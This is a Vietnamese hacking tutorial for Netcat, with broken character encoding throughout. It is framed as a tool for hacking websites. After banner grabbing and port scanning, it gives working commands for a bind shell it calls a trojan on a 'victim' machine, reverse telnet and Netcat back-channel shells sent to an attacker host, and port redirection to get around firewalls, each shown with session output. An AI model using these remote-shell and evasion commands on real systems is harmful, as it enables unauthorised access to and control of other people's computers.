Hướng dẫn sỠdụng Netcat (Dùng để hack website)
cái nà y đòi há»?i có trình Ä‘á»™ cao vá»? vi tÃnh má»›i hiểu nổi
Là m được thỠhack website VietNhim xem hi hi hi hi hi hi hi đùa mà đừng là m thiệt nha
1. Giới thiệu
Netcat là má»™t công cụ không thể thiếu được nếu bạn muốn hack má»™t website nà o đó. Vì váºy bạn cần biết má»™t chút vá»? Netcat)
2. Biên dịch
Ä?ối vá»›i bản Netcat cho Linux, bạn phải biên dịch nó trÆ°á»›c khi sá» dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm và o trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau và o phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thá»: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trư�ng PATH trong file ~/.bashrc, thêm và o ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ váºy giải nén và chạy là xong.
3. Các tùy ch�n của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
* Cú pháp:
- chế độ kết nối : nc [-tùy_ch�n] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_ch�n] [tên_máy] [cổng]
* Một số tùy ch�n:
-d tách Netcat khá»?i cá»a sổ lệnh hay là console, Netcat sẽ chạy ở chế Ä‘á»™ steath(không hiển thị trên thanh Taskbar)
-e prog thi hà nh chương trình prog, thư�ng dùng trong chế độ lắng nghe
-h g�i hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat và o chế độ lắng nghe để ch� các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nháºt kà và o file
-p port chỉ định cổng port
-r yêu cầu Netcat ch�n cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thư�ng yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trư�ng TERM, USER. Nếu bạn sỠdụng netcat với tùy ch�n -t để telnet, netcat sẽ không gởi các thông tin nà y đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin v� kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt th�i gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thư�ng được sỠdụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Và dụ: 1-8080 nghĩa là 1,2,3,..,8080
4. Các và dụ:
4.1 Chộp banner của web server
Và dụ: nc đến 172.16.84.2, cổng 80
C:>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Ä?ể biết thông tin chi tiết vá»? kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hÆ¡n nữa)
C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nháºt kÃ, hãy dùng -o . Và dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
4.2 Quét cổng
- chạy netcat vá»›i tùy chá»?n -z. Ä?ể quét cổng nhanh hÆ¡n, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Và dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
4.3 Biến Netcat thà nh một trojan
- trên máy tÃnh của nạn nhân, bạn khởi Ä‘á»™ng netcat và o chế Ä‘á»™ lắng nghe, dùng tùy chá»?n -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hà nh 1 chÆ°Æ¡ng trình khi có 1 kết nối đến, thÆ°á»?ng là shell lệnh cmd.exe(đối vá»›i NT) hoặc /bin/sh(đối vá»›i Unix). Và dụ:
E:>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
- trên máy tÃnh dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn nhÆ° 8080
C:>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E:>cd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK
NhÆ° bạn thấy, chúng ta đã có thể là m gì mà chẳng được vá»›i máy của nạn nhân qua shell lệnh nà y?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cÅ©ng đóng luôn. Ä?ể yêu cầu netcat lắng nghe trở lại sau má»—i kết nối, bạn dùng -L thay cho -l. LÆ°u ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.
E:>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_nà y>. Và dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quy�n Administrator, chỉ cần login và o với 1 username bình thư�ng khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không là m việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
5. KÄ© thuáºt tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cá»a số netcat Ä‘ang lắng nghe, kế đó Ä‘Æ°a lệnh từ cá»a sổ nà y và o luồng telnet nghịch chuyển, và gởi kết quả và o cá»a sổ kia. Và dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cá»a sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cá»a sổ Netcat (1)
C:>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from [172.16.84.2] 1055
pwd
ls -la
_
+ cá»a sổ Netcat (2)
C:>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var
- trên máy tÃnh nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ và o trong cá»a sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hà nh. Kết quả của /bin/sh được kết xuất trở lại cho máy tÃnh dùng để tấn công trên cá»a sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh và o cá»a sổ Netcat (1) và xem kết quả trong cá»a sổ Netcat (2).
Sở dĩ tôi ch�n cổng 80 và 25 vì các cổng nà y thư�ng không bị firewalls hoặc filters l�c.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tÃnh dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng nà y sẽ không bị firewall chặn:
C:>nc -nvv -l -p 80
listennng on [any] 80 ...
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy ch�n -e để đổ shell:
E:>nc -e cmd.exe 172.16.84.1 80
Một khi máy nạn nhân thi hà nh chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trư�ng hợp nà y là cmd.exe) trở và o nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E:>
5.3 Ä?ổi hÆ°á»›ng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem và dụ sau:
- chạy nc trên cổng bất kì:
E:>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...
- chạy tunnel hoặc fpipe để đổi hướng cổng
C:>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
C:>fpipe -l 53 -r 1234 127.0.0.1
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Ä?ổi hÆ°á»›ng cổng là má»™t cách để Ä‘i vòng qua firewalls.